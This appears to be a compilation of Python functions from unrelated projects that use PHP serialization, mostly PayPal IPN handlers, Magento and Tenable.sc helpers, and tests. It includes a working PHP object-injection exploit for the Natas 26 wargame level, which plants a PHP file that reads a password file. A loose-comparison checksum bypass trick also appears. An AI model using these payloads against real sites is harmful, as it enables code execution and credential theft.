def test_serialize(): for k, v in objects.items(): if __name__ == '__main__': print(serialize(k), v) if serialize(k) != v: raise AssertionError(f'serialize({k}) != "{v}" ("{serialize(k)}")') assert serialize(['a', '423', 234]) == 'a:3:{i:0;s:1:"a";i:1;s:3:"423";i:2;i:234;}' assert serialize({ 'test': 1, 2: 'test3' }) == 'a:2:{s:4:"test";i:1;i:2;s:5:"test3";}' assert serialize(Test()) == 'O:4:"Test":3:{s:1:"a";i:1;s:1:"b";s:1:"2";s:1:"c";O:5:"Test2":4:{s:1:"d";a:1:{' \ 'i:3;i:4;}s:1:"e";a:2:{i:0;i:5;i:1;i:6;}s:1:"f";N;s:1:"g";b:1;}}'
def paypal_reversal(request, transaction_id, serialize=None, amount=None): try: original = Contribution.objects.get(transaction_id=transaction_id) except Contribution.DoesNotExist: paypal_log.info('Ignoring transaction: %s' % transaction_id) return http.HttpResponse('Transaction not found; skipping.') # If the contribution has a related contribution we've processed it. try: original = Contribution.objects.get(related=original) paypal_log.info('Related contribution, state: %s, pk: %s' % (original.related.type, original.related.pk)) return http.HttpResponse('Transaction already processed') except Contribution.DoesNotExist: pass original.handle_chargeback('reversal') paypal_log.info('Reversal IPN received: %s' % transaction_id) amount = _parse_currency(amount) refund = Contribution.objects.create(addon=original.addon, related=original, user=original.user, type=amo.CONTRIB_CHARGEBACK, amount=-amount['amount'], currency=amount['currency'], post_data=php.serialize(serialize)) refund.mail_chargeback() paypal_log_cef(request, original.addon, transaction_id, 'Chargeback', 'CHARGEBACK', 'A paypal chargeback was processed') return http.HttpResponse('Success!')
def paypal_reversal(request, transaction_id, serialize=None, amount=None): try: original = Contribution.objects.get(transaction_id=transaction_id) except Contribution.DoesNotExist: paypal_log.info('Ignoring transaction: %s' % transaction_id) return http.HttpResponse('Transaction not found; skipping.') # If the contribution has a related contribution we've processed it. try: original = Contribution.objects.get(related=original) paypal_log.info('Related contribution, state: %s, pk: %s' % (original.related.type, original.related.pk)) return http.HttpResponse('Transaction already processed') except Contribution.DoesNotExist: pass original.handle_chargeback('reversal') paypal_log.info('Reversal IPN received: %s' % transaction_id) amount = _parse_currency(amount) refund = Contribution.objects.create( addon=original.addon, related=original, user=original.user, type=amo.CONTRIB_CHARGEBACK, amount=-amount['amount'], currency=amount['currency'], post_data=php.serialize(serialize) ) refund.mail_chargeback() paypal_log_cef(request, original.addon, transaction_id, 'Chargeback', 'CHARGEBACK', 'A paypal chargeback was processed') return http.HttpResponse('Success!')
def prepare_mage_cart_quote_items(self, cr, uid, sale, context=None): items = [] for sale_line in sale.order_line: if not sale_line.product_id or sale_line.product_id.default_code == 'mage_shipping': continue item = sale_line.product_id if not item.external_id or item.external_id == 0: raise osv.except_osv( _('User Error!'), _("You are adding product %s to a Magento Quote. This product is not Mapped!" ) % item.default_code) d = { 'product_id': item.external_id, 'qty': str(int(sale_line.product_uom_qty)) } vals = { 'store_id': sale.mage_store.external_id, 'product_id': item.external_id, 'qty': int(sale_line.product_uom_qty), 'attribute': serialize(d), # 'attribute': 'a:2:{s:10:"product_id";i:1880;s:3:"qty";s:1:"8";}', 'has_options': 0, 'request_qty': int(sale_line.product_uom_qty), 'owner_base_price': sale_line.price_unit, 'original_price': sale_line.price_unit, 'original_cur_price': sale_line.price_unit, 'owner_cur_price': sale_line.price_unit, } items.append(vals) return items
def _paypal(request): if request.method != 'POST': return http.HttpResponseNotAllowed(['POST']) # raw_post_data has to be accessed before request.POST. wtf django? raw, post = request.raw_post_data, request.POST.copy() # Check that the request is valid and coming from PayPal. # The order of the params has to match the original request. data = u'cmd=_notify-validate&' + raw paypal_response = urllib2.urlopen(settings.PAYPAL_CGI_URL, data, 20).readline() # List of (old, new) codes so we can transpose the data for # embedded payments. for old, new in [('payment_status', 'status'), ('item_number', 'tracking_id'), ('txn_id', 'tracking_id'), ('payer_email', 'sender_email')]: if old not in post and new in post: post[old] = post[new] if paypal_response != 'VERIFIED': msg = ("Expecting 'VERIFIED' from PayPal, got '%s'. " "Failing." % paypal_response) _log_error_with_data(msg, post) return http.HttpResponseForbidden('Invalid confirmation') if post.get('txn_type', '').startswith('subscr_'): SubscriptionEvent.objects.create(post_data=php.serialize(post)) return http.HttpResponse('Success!') payment_status = post.get('payment_status', '').lower() if payment_status not in ('refunded', 'completed'): # Skip processing for anything other than events that change # payment status. return http.HttpResponse('Payment not completed') # Fetch and update the contribution - item_number is the uuid we created. try: c = Contribution.objects.get(uuid=post['item_number']) except Contribution.DoesNotExist: key = "%s%s:%s" % (settings.CACHE_PREFIX, 'contrib', post['item_number']) count = cache.get(key, 0) + 1 paypal_log.warning('Contribution (uuid=%s) not found for IPN request ' '#%s.' % (post['item_number'], count)) if count > 10: msg = ("PayPal sent a transaction that we don't know " "about and we're giving up on it.") _log_error_with_data(msg, post) cache.delete(key) return http.HttpResponse('Transaction not found; skipping.') cache.set(key, count, 1209600) # This is 2 weeks. return http.HttpResponseServerError('Contribution not found') if payment_status == 'refunded': return paypal_refunded(request, post, c) elif payment_status == 'completed': return paypal_completed(request, post, c)
def paypal_refunded(request, post, transaction): try: original = Contribution.objects.get(transaction_id=post['txn_id']) except Contribution.DoesNotExist: return _log_unmatched(post) # If the contribution has a related contribution we've processed it. try: original = Contribution.objects.get(related=original) paypal_log.info('Related contribution, state: %s, pk: %s' % (original.related.type, original.related.pk)) return http.HttpResponse('Transaction already processed') except Contribution.DoesNotExist: pass paypal_log.info('Refund IPN received: %s' % post['txn_id']) amount = _parse_currency(transaction['amount']) Contribution.objects.create( addon=original.addon, related=original, user=original.user, type=amo.CONTRIB_REFUND, amount=-amount['amount'], currency=amount['currency'], post_data=php.serialize(post) ) paypal_log.info('Refund successfully processed') paypal_log_cef(request, original.addon, post['txn_id'], 'Refund', 'REFUND', 'A paypal refund was processed') return http.HttpResponse('Success!')
def paypal_completed(request, post, transaction): # Make sure transaction has not yet been processed. if Contribution.objects.filter(transaction_id=post['txn_id']).exists(): paypal_log.info('Completed IPN already processed') return http.HttpResponse('Transaction already processed') # Note that when this completes the uuid is moved over to transaction_id. try: original = Contribution.objects.get(uuid=post['txn_id']) except Contribution.DoesNotExist: return None paypal_log.info('Completed IPN received: %s' % post['txn_id']) data = StatsDictField().to_python(php.serialize(post)) update = {'transaction_id': post['txn_id'], 'uuid': None, 'post_data': data} if original.type == amo.CONTRIB_PENDING: # This is a purchase that has failed to hit the completed page. # But this ok, this IPN means that it all went through. update['type'] = amo.CONTRIB_PURCHASE if 'mc_gross' in post: update['amount'] = post['mc_gross'] original.update(**update) # Send thankyou email. try: original.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. paypal_log.error('Thankyou note email failed with error: %s' % e) paypal_log.info('Completed successfully processed') return http.HttpResponse('Success!')
def paypal_completed(request, transaction_id, serialize=None, amount=None): # Make sure transaction has not yet been processed. if Contribution.objects.filter(transaction_id=transaction_id).exists(): paypal_log.info('Completed IPN already processed') return http.HttpResponse('Transaction already processed') # Note that when this completes the uuid is moved over to transaction_id. try: original = Contribution.objects.get(uuid=transaction_id) except Contribution.DoesNotExist: paypal_log.info('Ignoring transaction: %s' % transaction_id) return http.HttpResponse('Transaction not found; skipping.') paypal_log.info('Completed IPN received: %s' % transaction_id) data = StatsDictField().to_python(php.serialize(serialize)) update = {'transaction_id': transaction_id, 'uuid': None, 'post_data': data} if amount: update['amount'] = _parse_currency(amount)['amount'] original.update(**update) # Send thankyou email. try: original.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. paypal_log.error('Thankyou note email failed with error: %s' % e) paypal_log_cef(request, original.addon, transaction_id, 'Contribution', 'CONTRIBUTION', 'A user contributed to an addon') paypal_log.info('Completed successfully processed') return http.HttpResponse('Success!')
def paypal_completed(request, transaction_id, serialize=None, amount=None): # Make sure transaction has not yet been processed. if Contribution.objects.filter(transaction_id=transaction_id).exists(): paypal_log.info('Completed IPN already processed') return http.HttpResponse('Transaction already processed') # Note that when this completes the uuid is moved over to transaction_id. try: original = Contribution.objects.get(uuid=transaction_id) except Contribution.DoesNotExist: paypal_log.info('Ignoring transaction: %s' % transaction_id) return http.HttpResponse('Transaction not found; skipping.') paypal_log.info('Completed IPN received: %s' % transaction_id) data = StatsDictField().to_python(php.serialize(serialize)) update = { 'transaction_id': transaction_id, 'uuid': None, 'post_data': data } if amount: update['amount'] = _parse_currency(amount)['amount'] original.update(**update) # Send thankyou email. try: original.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. paypal_log.error('Thankyou note email failed with error: %s' % e) paypal_log.info('Completed successfully processed (%s)' % transaction_id) return http.HttpResponse('Success!')
def natas26(url): class Logger(): def __init__(self, initMsg, exitMsg, logFile): self.initMsg = initMsg self.exitMsg = exitMsg self.logFile = logFile def object_hook(obj): if isinstance(obj, Logger): return phpobject( 'Logger', { b'\x00Logger\x00initMsg': obj.initMsg, b'\x00Logger\x00exitMsg': obj.exitMsg, b'\x00Logger\x00logFile': obj.logFile }) session = requests.Session() logger = Logger("", "<?php include('/etc/natas_webpass/natas27');?>", "img/code.php") new_ser = base64.encodestring(serialize(logger, object_hook=object_hook)).replace( b'\n', b'').decode('ascii') cookie = dict(drawing=new_ser) session.get(f"{url}", cookies=cookie) response = session.get(f"{url}img/code.php") return re.findall(r"(.{32})", response.text)[0]
def serialize_unserialize_php(request): try: input_value = request.POST.get("inputValue") output_value = "input invalid" data_result = { "input_value": output_value, "output_value": "input invalid" } print "kq ", request.POST try: if "serialize" in request.POST and input_value is not None: serialize_output = serialize(input_value) data_result = { "input_value": input_value, "output_value": serialize_output } elif "unserialize" in request.POST and input_value is not None: print "vao" unserialize_output = unserialize(input_value) data_result = { "input_value": input_value, "output_value": unserialize_output } except: data_result = {"input_value": "", "output_value": "input invalid"} return render(request, "serialize_unserialize_php.html", {"post": data_result}) except: return render(request, "page404.html")
def recursive_unserialize_replace(search, replace, data, serialized = False): try: recursive_unserialize_replace(search, replace, unserialize(data), True) except Exception, e: #HANDLE THE ERROR REPORT HERE if e.message.find('unexpected opcode') >= 0: pass # print 'this is not serialized data' # print data elif e.message.find('failed expectation') >= 0: print 'You have a badly encoded serialized data in' pprint.pprint(data) # THIS IS EITHER A CORRUPT SERIALIZED DATA OR NOT A SERIALIZED DATA # DO THE STANDARD WORK. tmpDict = {} if (type(data) in (dict, list, tuple)): for key, value in dict.iteritems(data): tmpDict[key.replace(search, replace)] = recursive_unserialize_replace(search, replace, value, False) data = tmpDict elif(type(data) == str): data = data.replace(search, replace) if serialized == True: return serialize(data) else: return data
def paypal_reversal(request, post, transaction): try: original = Contribution.objects.get(transaction_id=post['txn_id']) except Contribution.DoesNotExist: return None # If the contribution has a related contribution we've processed it. try: original = Contribution.objects.get(related=original) paypal_log.info('Related contribution, state: %s, pk: %s' % (original.related.type, original.related.pk)) return http.HttpResponse('Transaction already processed') except Contribution.DoesNotExist: pass paypal_log.info('Reversal IPN received: %s' % post['txn_id']) amount = _parse_currency(transaction['amount']) refund = Contribution.objects.create( addon=original.addon, related=original, user=original.user, type=amo.CONTRIB_CHARGEBACK, amount=-amount['amount'], currency=amount['currency'], post_data=php.serialize(post) ) refund.mail_chargeback() return http.HttpResponse('Success!')
def paypal_refunded(request, post, transaction): try: original = Contribution.objects.get(transaction_id=post['txn_id']) except Contribution.DoesNotExist: return _log_unmatched(post) # If the contribution has a related contribution we've processed it. try: original = Contribution.objects.get(related=original) paypal_log.info('Related contribution, state: %s, pk: %s' % (original.related.type, original.related.pk)) return http.HttpResponse('Transaction already processed') except Contribution.DoesNotExist: pass original.handle_chargeback('refund') paypal_log.info('Refund IPN received: %s' % post['txn_id']) amount = _parse_currency(transaction['amount']) Contribution.objects.create(addon=original.addon, related=original, user=original.user, type=amo.CONTRIB_REFUND, amount=-amount['amount'], currency=amount['currency'], post_data=php.serialize(post)) paypal_log.info('Refund successfully processed') paypal_log_cef(request, original.addon, post['txn_id'], 'Refund', 'REFUND', 'A paypal refund was processed') return http.HttpResponse('Success!')
def prepare_mage_cart_quote_items(self, cr, uid, sale, context=None): items = [] for sale_line in sale.order_line: if not sale_line.product_id or sale_line.product_id.default_code == 'mage_shipping': continue item = sale_line.product_id if not item.external_id or item.external_id == 0: raise osv.except_osv(_('User Error!'),_("You are adding product %s to a Magento Quote. This product is not Mapped!")%item.default_code) d = {'product_id': item.external_id, 'qty': str(int(sale_line.product_uom_qty))} vals = { 'store_id': sale.mage_store.external_id, 'product_id': item.external_id, 'qty': int(sale_line.product_uom_qty), 'attribute': serialize(d), # 'attribute': 'a:2:{s:10:"product_id";i:1880;s:3:"qty";s:1:"8";}', 'has_options': 0, 'request_qty': int(sale_line.product_uom_qty), 'owner_base_price': sale_line.price_unit, 'original_price': sale_line.price_unit, 'original_cur_price': sale_line.price_unit, 'owner_cur_price': sale_line.price_unit, } items.append(vals) return items
def _paypal(request): # raw_post_data has to be accessed before request.POST. wtf django? raw, post = request.raw_post_data, request.POST.copy() paypal_log.info('IPN received: %s' % raw) # Check that the request is valid and coming from PayPal. # The order of the params has to match the original request. data = u'cmd=_notify-validate&' + raw with statsd.timer('paypal.validate-ipn'): paypal_response = urllib2.urlopen(settings.PAYPAL_CGI_URL, data, 20).readline() post, transactions = _parse(post) # If paypal doesn't like us, fail. if paypal_response != 'VERIFIED': msg = ("Expecting 'VERIFIED' from PayPal, got '%s'. " "Failing." % paypal_response) _log_error_with_data(msg, post) return http.HttpResponseForbidden('Invalid confirmation') # Cope with subscription events. if post.get('txn_type', '').startswith('subscr_'): SubscriptionEvent.objects.create(post_data=php.serialize(post)) paypal_log.info('Subscription created: %s' % post.get('txn_id', '')) return http.HttpResponse('Success!') payment_status = post.get('payment_status', '').lower() if payment_status != 'completed': return paypal_ignore(request, post) # There could be multiple transactions on the IPN. This will deal # with them appropriately or cope if we don't know how to deal with # any of them. methods = { 'refunded': paypal_refunded, 'completed': paypal_completed, 'reversal': paypal_reversal } result = None called = False for key, value in transactions.items(): status = value.get('status', '').lower() if status not in methods: paypal_log.info('Unknown status: %s' % status) continue result = methods[status](request, post, value) called = True if not called: # Whilst the payment status was completed, it contained # no transactions with status, which means we don't know # how to process it. Hence it's being ignored. return paypal_ignore(request, post) if not result: return _log_unmatched(post) return result
def listing_street_view_location(lat, lng): dict = {} dict["latitude"] = str(lat) dict["longitude"] = str(lng) dict["zoom"] = "1" dict["heading"] = "-18" dict["pitch"] = "25" serializedString = phpserialize.serialize(dict) return serializedString
def _paypal(request): # raw_post_data has to be accessed before request.POST. wtf django? raw, post = request.raw_post_data, request.POST.copy() paypal_log.info('IPN received: %s' % raw) # Check that the request is valid and coming from PayPal. # The order of the params has to match the original request. data = u'cmd=_notify-validate&' + raw with statsd.timer('paypal.validate-ipn'): paypal_response = urllib2.urlopen(settings.PAYPAL_CGI_URL, data, 20).readline() post, transactions = _parse(post) # If paypal doesn't like us, fail. if paypal_response != 'VERIFIED': msg = ("Expecting 'VERIFIED' from PayPal, got '%s'. " "Failing." % paypal_response) _log_error_with_data(msg, post) return http.HttpResponseForbidden('Invalid confirmation') # Cope with subscription events. if post.get('txn_type', '').startswith('subscr_'): SubscriptionEvent.objects.create(post_data=php.serialize(post)) paypal_log.info('Subscription created: %s' % post.get('txn_id', '')) return http.HttpResponse('Success!') payment_status = post.get('payment_status', '').lower() if payment_status != 'completed': return paypal_ignore(request, post) # There could be multiple transactions on the IPN. This will deal # with them appropriately or cope if we don't know how to deal with # any of them. methods = {'refunded': paypal_refunded, 'completed': paypal_completed, 'reversal': paypal_reversal} result = None called = False for key, value in transactions.items(): status = value.get('status', '').lower() if status not in methods: paypal_log.info('Unknown status: %s' % status) continue result = methods[status](request, post, value) called = True if not called: # Whilst the payment status was completed, it contained # no transactions with status, which means we don't know # how to process it. Hence it's being ignored. return paypal_ignore(request, post) if not result: return _log_unmatched(post) return result
def test_serialize(): for k, v in objects: try: result = serialize(k) if result != v: raise AssertionError(f'serialize({k}) != "{v}" ("{result}")') except SerialzeValueError as e: if type(e) != type(v) or e.args != v.args: raise
def gen_dashboard(entry_link, entry_description, cve_s, entry_title): Entry_Title = entry_title.replace("'", "") Entry_ShortDesc = "For more information, please see the full page at " + entry_link Entry_Summary = entry_description.replace("'", "").replace("\\", "/") cve_list = cve_s dashboard_template_file = open( '/templates/sc_working_dashboard_template.txt', "r") dashboard_template_contents = dashboard_template_file.read() for x in range( len( re.findall("<definition>(.+)</definition>", str(dashboard_template_contents)))): r_dashboard_component = Environment(loader=BaseLoader()).from_string( dashboard_components_list[x]) component_render = r_dashboard_component.render( Entry_Title=Entry_Title, Entry_ShortDesc=Entry_ShortDesc, Entry_Summary=Entry_Summary, cve_list=cve_list) component_raw = ast.literal_eval(component_render) component_output = base64.b64encode(serialize(component_raw)) dashboard_template_contents = str(dashboard_template_contents).replace( '{{ dashboard_output }}', component_output.decode("utf8"), 1) #print(dashboard_template_contents) #dashboard_template_contents.replace('re.findall("<definition>(.+)</definition>", str(dashboard_template_contents)[x])',dashboard_components_list[x]) #print(dashboard_template_contents) r_dashboard_full = Environment( loader=BaseLoader()).from_string(dashboard_template_contents) dashboard_full = r_dashboard_full.render(Entry_Title=Entry_Title, Entry_ShortDesc=Entry_ShortDesc, Entry_Summary=Entry_Summary, cve_list=cve_list, Feed=feed) # Write the output to a file that we'll then upload to tsc. dashboard_name = Entry_Title.replace(" ", "").replace( ":", "-")[:15] + "_dashboard.xml" generated_tsc_dashboard_file = open(dashboard_name, "w") generated_tsc_dashboard_file.write(dashboard_full) generated_tsc_dashboard_file.close() # Upload the dashboard to T.sc generated_tsc_dashboard_file = open(dashboard_name, "r") tsc_file = sc.files.upload(generated_tsc_dashboard_file) dashboard_data = {"name": "", "order": "1", "filename": str(tsc_file)} dashboard_post = sc.post('dashboard/import', json=dashboard_data).text dashboard_post = json.loads(dashboard_post) dashboard_id = dashboard_post['response']['id'] generated_tsc_dashboard_file.close() return dashboard_id
def newjobs(i): if i == "NULL": return "" else: old_jobs_un = unserialize(i) old_jobs_un_trimmed = old_jobs_un['jobs'] new_jobs_se = serialize(old_jobs_un_trimmed) return new_jobs_se
def finalparse(newl,zeroes): for i in dayofweek: flag=0 for j in range(len(newl)): if newl[j]!=0: if i==newl[j]['listing_day']: flag=1; break; if flag==0: newl[len(newl)-zeroes]={'listing_day':i,'listing_custom':'closed'} zeroes=zeroes-1 return phpserialize.serialize(newl);
def serializeEntry(self, e, method='python_repr'): """Serialize an :class:`bBase.entry` object. Supported methods are "python_repr" (default) and "php_serialize". See also :meth:`unserializeEntry`.""" if method=='python_repr': serialized_entry = repr(e.__dict__) elif method=='php_serialize': import phpserialize serialized_entry = phpserialize.serialize(e.__dict__) else: raise NotImplementedError() return serialized_entry, method
def persist2db(self, c, ns_id): sz_changes = self.sz_changes.size if self.sz_changes else self.MISSING sz_indexed = self.sz_indexed.size if self.sz_indexed else self.MISSING sz_meta = self.sz_meta.size if self.sz_meta else self.MISSING c.execute(''' INSERT INTO nodes (type, ns_id, name, size, sz_changes, sz_indexed, sz_meta, meta) VALUES (?, ?, ?, ?, ?, ?, ?, ?) ''', (self.__class__.__name__, ns_id, self.name, self.size, sz_changes, sz_indexed, sz_meta, serialize(self.meta) )) node_id = c.lastrowid for date, rev in self.revisions.items(): rev.persist2db(c, node_id)
def serializeParseDate(dayObjects): openingHoursArray = [] for (key, value) in dayObjects.items(): openingHours = {} openingHours["listing_day"] = value.dayName.upper() if value.startingtime != None: openingHours["listing_time_from"] = value.startingtime if value.closingtime != None: openingHours["listing_time_to"] = value.closingtime if value.startingtime == None or value.closingtime == None: openingHours["listing_custom"] = "closed" openingHoursArray.append(openingHours) serializedOpeningHours = phpserialize.serialize(openingHoursArray) return serializedOpeningHours
def gen_report(entry_link, entry_description, cve_s, entry_title): Entry_Title = entry_title.replace("'", "") Entry_ShortDesc = "For more information, please see the full page at " + entry_link Entry_Summary = entry_description.replace("'", "").replace("\\", "/") cve_list = cve_s # Load the definition template as a jinja template env = Environment(loader=FileSystemLoader('/templates'), trim_blocks=True, lstrip_blocks=True) template_def = env.get_template('definition.txt') #Render the definition template with data and print the output report_raw = template_def.render(Entry_Title=Entry_Title, Entry_ShortDesc=Entry_ShortDesc, Entry_Summary=Entry_Summary, cve_list=cve_list) # Convert the now rendered template back into a format that tsc can understand (base64 encoded PHP serilaized string) report_raw = ast.literal_eval(report_raw) report_output = base64.b64encode(serialize(report_raw)) # Render the full XML report template and write the output to a file that we'll then upload to tsc. report = env.get_template('sc_working_template.txt') report_xml = report.render(Entry_Title=Entry_Title, Feed=feed, Entry_ShortDesc=Entry_ShortDesc, report_output=report_output.decode('utf8')) report_name = Entry_Title.replace(" ", "").replace( ":", "-")[:15] + "_report.xml" generated_tsc_report_file = open(report_name, "w") generated_tsc_report_file.write(report_xml) generated_tsc_report_file.close() # Upload the report to T.sc generated_tsc_report_file = open(report_name, "r") tsc_file = sc.files.upload(generated_tsc_report_file) report_data = {"name": "", "filename": str(tsc_file)} report_post = sc.post('reportDefinition/import', json=report_data).text report_post = json.loads(report_post) report_id = report_post['response']['id'] generated_tsc_report_file.close() # Configure email on the report if set if len(email_list) >= 5: report_patch_path = "reportDefinition/" + str(report_id) report_email_info = {"emailTargets": email_list} sc.patch(report_patch_path, json=report_email_info) return report_id
def encrypt(userid,username,checksum): """ In: UserID, Username and Checksum Performs: Not a real "encryption", just a serialization of data, Base64 encoded and finally ROT13 Out: Base64 + ROT13 string of serialized data """ privatedata = {'uid':userid, 'username':username, 'cksum':True, # MAGIC over here; as a Boolean for loose comparisions giving TRUE, the checksum is valid 'eff_uid':None, 'eff_username':None} serialized_privatedata = serialize(privatedata).decode("utf-8") b64_privatedata = base64.b64encode(serialized_privatedata.encode()).decode('ascii') enc_privatedata = codecs.encode(b64_privatedata,"rot-13") return enc_privatedata
def natas26(url): session = requests.Session() logger = Logger("", "<?php include('/etc/natas_webpass/natas27');?>", "img/code.php") new_ser = base64.encodestring(serialize(logger, object_hook=object_hook)).replace( b'\n', b'') # http://sandbox.onlinephpfunctions.com/code/7f2528c6bf606e2b2fe3e8676543df4cb11ae316 cookie = dict(drawing=new_ser.decode()) session.get(f"{url}", cookies=cookie) response = session.get(f"{url}img/code.php") print(re.findall(r"(.{32})", response.text))
def paypal_refunded(request, post, original): # Make sure transaction has not yet been processed. if (Contribution.objects .filter(transaction_id=post['txn_id'], type=amo.CONTRIB_REFUND).count()) > 0: return http.HttpResponse('Transaction already processed') paypal_log.info('Refund IPN received for transaction %s' % post['txn_id']) refund = Contribution.objects.create( addon=original.addon, related=original, user=original.user, type=amo.CONTRIB_REFUND, ) refund.amount = post['mc_gross'] refund.currency = post['mc_currency'] refund.uuid = None refund.post_data = php.serialize(post) return http.HttpResponse('Success!')
def item_upload(anta_auth, item): #logging.debug(ITEMUPLOAD) url = config["endpoint"] + ITEMUPLOAD + USER + anta_auth["user_id"] logging.debug(url) logging.debug(item) item_serialize = phpserialize.serialize(item) item_base64 = base64.b64encode(item_serialize) auth = {"token": anta_auth["token"], "item": item_base64} auth_encoded = urllib.urlencode(auth) request = urllib2.Request(url, auth_encoded) try: response = urllib2.urlopen(request) result = response.read() logging.debug(result) return jsonbson.load_json_str(result) except: logging.debug("*** Error uploading item to anta : %s", item["title"]) return {"status": "ko"}
def item_upload(anta_auth, item): print "\n" + ITEMUPLOAD url = config["endpoint"] + ITEMUPLOAD + USER + anta_auth["user_id"] print url print item item_serialize = phpserialize.serialize(item) item_base64 = base64.b64encode(item_serialize) auth = {"token": anta_auth["token"], "item": item_base64} auth_encoded = urllib.urlencode(auth) request = urllib2.Request(url, auth_encoded) try: response = urllib2.urlopen(request) result = response.read() print result return json.loads(result) except: print "*** Error uploading item to anta : %s" % item["title"] return {"status": "ko"}
def paypal_completed(request, transaction_id, serialize=None, amount=None): # Make sure transaction has not yet been processed. if Contribution.objects.filter(transaction_id=transaction_id).exists(): paypal_log.info('Completed IPN already processed') return http.HttpResponse('Transaction already processed') # Note that when this completes the uuid is moved over to transaction_id. try: original = Contribution.objects.get(uuid=transaction_id) except Contribution.DoesNotExist: paypal_log.info('Ignoring transaction: %s' % transaction_id) return http.HttpResponse('Transaction not found; skipping.') paypal_log.info('Completed IPN received: %s' % transaction_id) data = StatsDictField().to_python(php.serialize(serialize)) update = { 'transaction_id': transaction_id, 'uuid': None, 'post_data': data } if original.type == amo.CONTRIB_PENDING: # This is a purchase that has failed to hit the completed page. # But this ok, this IPN means that it all went through. update['type'] = amo.CONTRIB_PURCHASE # If they failed to hit the completed page, they also failed # to get it logged properly. This will add the log in. amo.log(amo.LOG.PURCHASE_ADDON, original.addon) if amount: update['amount'] = _parse_currency(amount)['amount'] original.update(**update) # Send thankyou email. try: original.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. paypal_log.error('Thankyou note email failed with error: %s' % e) paypal_log_cef(request, original.addon, transaction_id, 'Purchase', 'PURCHASE', 'A user purchased or contributed to an addon') paypal_log.info('Completed successfully processed') return http.HttpResponse('Success!')
def edit_rec(self, _r): ''' scan and edit each record if appropriate''' #import pdb; pdb.set_trace() _sep = "\\', " #save the end char & split the rec into a list _end = _r[:-1] #re.split parses the sql correctly, where str.split does # not handle escaped ' correctly self._rlist = re.split(r"\\\'\, ", _r) for i, _s in enumerate(self._rlist): #try unserialize, else just use it if self.scan_for_old_strings(_s): try: add_quotes = False if _s[1:3] == 'a:': _s = _s.strip("'") add_quotes = True _s = phpserialize.unserialize(_s, array_hook=OrderedDict) _s = self.iterate_data(_s) _ss = phpserialize.serialize(_s) #add back single quotes if add_quotes: self._rlist[i] = "'{}'".format(_ss) add_quotes = False except Exception as e: self._rlist[i] = self.replace_strings(_s) if _s[0:2] == 'a:': print('\n**serialization failed: {}\n{}'.format( self._rlist[0], self._rlist[i])) print('**', e) #print('***',a) self.ser_err_cnt += 1 #put the pieces back together _t = _sep.join(self._rlist) if _end == ',' and _t[-1] != ',': _t += ',' return _t
def submit_paper(): data = request.args.get('data') parse = json.loads(data) authors = '' title = '' abstract = '' for key, value in parse.items(): if (key == 'authors'): authors = value if (key == 'title'): title = value if (key == 'abstract'): abstract = value create_paper(serialize(authors), str(title), str(abstract), current_user.id) db.session.commit() return jsonify({'data': data})
def gen_arc(cve_s, entry_title): Entry_Title = entry_title cve_list = cve_s # Load the definition template as a jinja template env = Environment(loader=FileSystemLoader('/templates'), trim_blocks=True, lstrip_blocks=True) arc_template_def = env.get_template('arc_definition.txt') #Render the definition template with data and print the output arc_raw = arc_template_def.render(cve_list=cve_list) # Convert the now rendered template back into a format that tsc can understand (base64 encoded PHP serilaized string) arc_raw = ast.literal_eval(arc_raw) arc_def_output = base64.b64encode(serialize(arc_raw)) # Render the full XML report template and write the output to a file that we'll then upload to tsc. arc = env.get_template('arc_working_template.txt') arc_xml = arc.render(Entry_Title=Entry_Title, Feed=feed, arc_output=arc_def_output.decode('utf8')) arc_name = Entry_Title.replace(" ", "").replace(":", "-")[:15] + "_arc.xml" generated_tsc_arc_file = open(arc_name, "w") generated_tsc_arc_file.write(arc_xml) generated_tsc_arc_file.close() # Upload the report to T.sc generated_tsc_arc_file = open(arc_name, "r") tsc_arc_file = sc.files.upload(generated_tsc_arc_file) arc_data = {"name": "", "filename": str(tsc_arc_file), "order": "0"} arc_post = sc.post('arc/import', json=arc_data).text arc_post = json.loads(arc_post) global arc_id arc_id = arc_post['response']['id'] generated_tsc_arc_file.close() #Grab a new copy of the ARCs in T.sc, cause we just created a new one global sc_arcs sc_arcs = sc.get('arc').text sc_arcs = json.loads(sc_arcs)
def paypal_completed(request, transaction_id, serialize=None, amount=None): # Make sure transaction has not yet been processed. if Contribution.objects.filter(transaction_id=transaction_id).exists(): paypal_log.info('Completed IPN already processed') return http.HttpResponse('Transaction already processed') # Note that when this completes the uuid is moved over to transaction_id. try: original = Contribution.objects.get(uuid=transaction_id) except Contribution.DoesNotExist: paypal_log.info('Ignoring transaction: %s' % transaction_id) return http.HttpResponse('Transaction not found; skipping.') paypal_log.info('Completed IPN received: %s' % transaction_id) data = StatsDictField().to_python(php.serialize(serialize)) update = {'transaction_id': transaction_id, 'uuid': None, 'post_data': data} if original.type == amo.CONTRIB_PENDING: # This is a purchase that has failed to hit the completed page. # But this ok, this IPN means that it all went through. update['type'] = amo.CONTRIB_PURCHASE # If they failed to hit the completed page, they also failed # to get it logged properly. This will add the log in. amo.log(amo.LOG.PURCHASE_ADDON, original.addon) if amount: update['amount'] = _parse_currency(amount)['amount'] original.update(**update) # Send thankyou email. try: original.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. paypal_log.error('Thankyou note email failed with error: %s' % e) paypal_log_cef(request, original.addon, transaction_id, 'Purchase', 'PURCHASE', 'A user purchased or contributed to an addon') paypal_log.info('Completed successfully processed') return http.HttpResponse('Success!')
